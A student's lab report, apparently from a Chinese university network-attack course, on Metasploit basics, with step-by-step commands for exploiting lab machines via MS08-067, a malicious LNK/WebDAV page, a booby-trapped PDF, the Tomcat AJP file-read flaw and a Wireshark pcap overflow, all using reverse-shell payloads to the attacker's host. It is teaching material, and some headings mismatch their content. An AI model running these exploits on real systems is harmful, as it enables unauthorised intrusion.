20181202 网络对抗技术 exp6 MSF应用基础

20181202 网络对抗技术 exp6 MSF应用基础

目录

实践内容

实践原理

1、 MSF主要模块:指Metasploit框架中所使用的一段软件代码组件

  • 查看六种模块源码目录/usr/share/metasploit-framework/modules
  • 渗透攻击模块(Exploit Modules)
    • 攻击漏洞,把shellcode"背"过去
    • 针对每一个漏洞,写一段攻击代码
  • 辅助模块(Auxiliary Modules)
    • 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
  • 攻击载荷(Payload Modules)
    • 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  • 空字段模块(Payload Modules)
  • 编码模块(Payload Modules)
  • 后渗透攻击模块(Payload Modules)

2、 用户操作界面

  • msfconsole
    • 开发部署成本低、兼容性高、方便自动化
    • 指令需要记
  • armitage
    • 点选模块 不用记忆
    • 使用不灵活
  • webgui
    • 跨平台 高效 功能强大

3、 MSF常用漏洞指令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name:使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

基础问题回答

1.用自己的话解释什么是exploit,payload,encode.

exploit是工具,用来连接漏洞,将payload传送到靶机中

payload是载荷,是目标系统在被exploit传送之后,去执行的攻击代码

encode是编码,用来包装payload,不让杀软轻易发现payload就是攻击代码

过程记录

任务一:主动攻击实践

ms08-067_netapi:自动化漏洞溢出攻击

MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统, 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。

靶机:Windows 2000(IP:172.21.167.86)
攻击机:kali linux(IP:172.21.175.104)

  1. 两台主机可以ping

  2. 输入msfconsole打开MSF控制台

  3. 输入search ms08-067查找,找到可利用的模块

  4. 攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 172.21.167.86

  5. msf中输入use exploit/windows/smb/ms08_067_netapi启用该模块

  6. 输入info查看靶机适用范围。

  1. 输入下列参数:
  • set payload generic/shell_reverse_tcp选择攻击模块
  • set RHOSTS 172.21.167.86设定靶机IP地址
  • set LHOST 172.21.175.104设定攻击机IP地址
  • set LPORT 5308设定端口
  • set target 34 设定目标机版本,刚才列表可见靶机windowsXP sp3为target 34
  1. 输入exploit进行攻击,获得靶机控制权后可正常输入cmd命令,攻击结果如下:

任务二:一个针对浏览器的攻击

  • 实现:ms10-018

  • 攻击机:kali 172.21.163.26

  • 靶机:Windows xp sp3 172.21.167.86

  • payload:windows/meterpreter/reverse_tcp

  • 首先查看浏览器漏洞: cd /usr/share/metasploit-framework/modules/exploits/windows/browser

  • 输入ls即可看到很多漏洞代码,选择 ms10_046_shortcut_icon_dllloader.rb

  • 进入控制台:msfconsole ,使用: use windows/browser/ms10_046_shortcut_icon_dllloaderset payload windows/meterpreter/reverse_tcp

  • 查看一下这个漏洞的作用: info

  • 此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。

show payloads
set payload windows/meterpreter/reverse_tcp
set LHOST 172.21.163.26
exploit

  • 在靶机用浏览器打开生成的链接:http://172.21.163.26:80/

  • 查看会话: sessions

  • 选取会话: session -i 1

任务三:一个针对客户端的攻击

  • 实现:Adobe

  • 攻击机:kali 192.168.248.128

  • 靶机:Windows xp sp3 192.168.248.129

  • 使用:search adobe查找Adobe漏洞

  • 使用:use windows/fileformat/adobe_flatedecode_predictor02使用漏洞

  • payload:windows/meterpreter/reverse_tcp

  • 设置相关参数

	set RHOST 192.168.248.129  
	set FILENAME 20181202lym.pdf   
	exploit   
  • 将生成的文件复制之后导入靶机中:cp /root/.msf4/local/20181202lym.pdf 20181202lym.pdf
  • 在靶机中使用双击打开20181202lym.pdf,攻击成功

任务三(与大家不一样的一个):CVE-2020-1938

2020年1月6日,国家信息安全漏洞共享平台(CNVD) 发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。 该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。利用方式属于文件包含漏洞。CNVD对该漏洞的综合评级为“高危”。目前,厂商已发布新版本完成漏洞修复。

Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。此漏洞为文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。

受影响范围

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

配置环境

JDK

默认已经安装

tomcat 8.5.16

  1. 下载解压包后自己解压到自己选择的位置

  2. 打开:我的电脑-右键属性 -高级系统设置-环境变量

  3. 添加变量

  • **CATALINA_BASE ** C:UsersliyimingDesktopapache-tomcat-8.5.16-windows-x64apache-tomcat-8.5.16
  • CATALINA_HOME C:UsersliyimingDesktopapache-tomcat-8.5.16-windows-x64apache-tomcat-8.5.16
  1. 点击path 编辑 新建

  2. 然后打开cmd 输入startup,tomcat启动

实验开始

  1. 查看win10主机IP

  2. 在kali中输入172.26.45.82:8080,可以看到tomcat页面

  3. kali中通过namp进行端口扫描,开放8009和8080端口

  4. 使用Github上已经公开的EXP来复现。

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 172.26.45.82
  1. 成功读取到webapps下WEB-INF文件内容

任务四:成功应用任何一个辅助模块

  • 实现:MS12-020(CVE-2012-0002)蓝屏攻击
  • 攻击机:kali 192.168.0.116
  • 靶机:Windows xp sp3 192.168.0.117
  • payload : windows/meterpreter/reverse_tcp
  • 使用:msfconsole进入控制台
  • 使用:info,查看漏洞具体信息(重点当然是description,必须是1.4.4以下版本的wireshark才行)
Description:
  This module exploits a stack buffer overflow in Wireshark <= 1.4.4 
  When opening a malicious .pcap file in Wireshark, a stack buffer 
  occurs, resulting in arbitrary code execution. Note: To exploit the 
  vulnerability remotely with Scapy: sendp(rdpcap("file")).

  • 设置相关参数
set LHOST 192.168.0.116 //攻击者地址
set LPORT 1202 //设置端口号
set FILENAME 1202.pcap //设置文件名
show options //查看设置
exploit //攻击

  • 将生成的1202.pcap复制到Windows XP中
  • kail中输入back退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp  //选择攻击载荷
set LHOST 192.168.0.116 //攻击者地址
set LPORT 1202 //设置端口号
exploit //攻击

实验感想

本次实验内容较简单,把一些看似没有关联的知识点连接起来,巩固了自己的知识体系。

但是叭,这个环境也太难了,得找到合适靶机才能实验成功,这也体现了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。

但是离真正时间还有一定距离,很多都是在特殊环境下执行的,对靶机要求很高,不具有灵活性。

原文地址:https://www.cnblogs.com/peterlddlym/p/14746492.html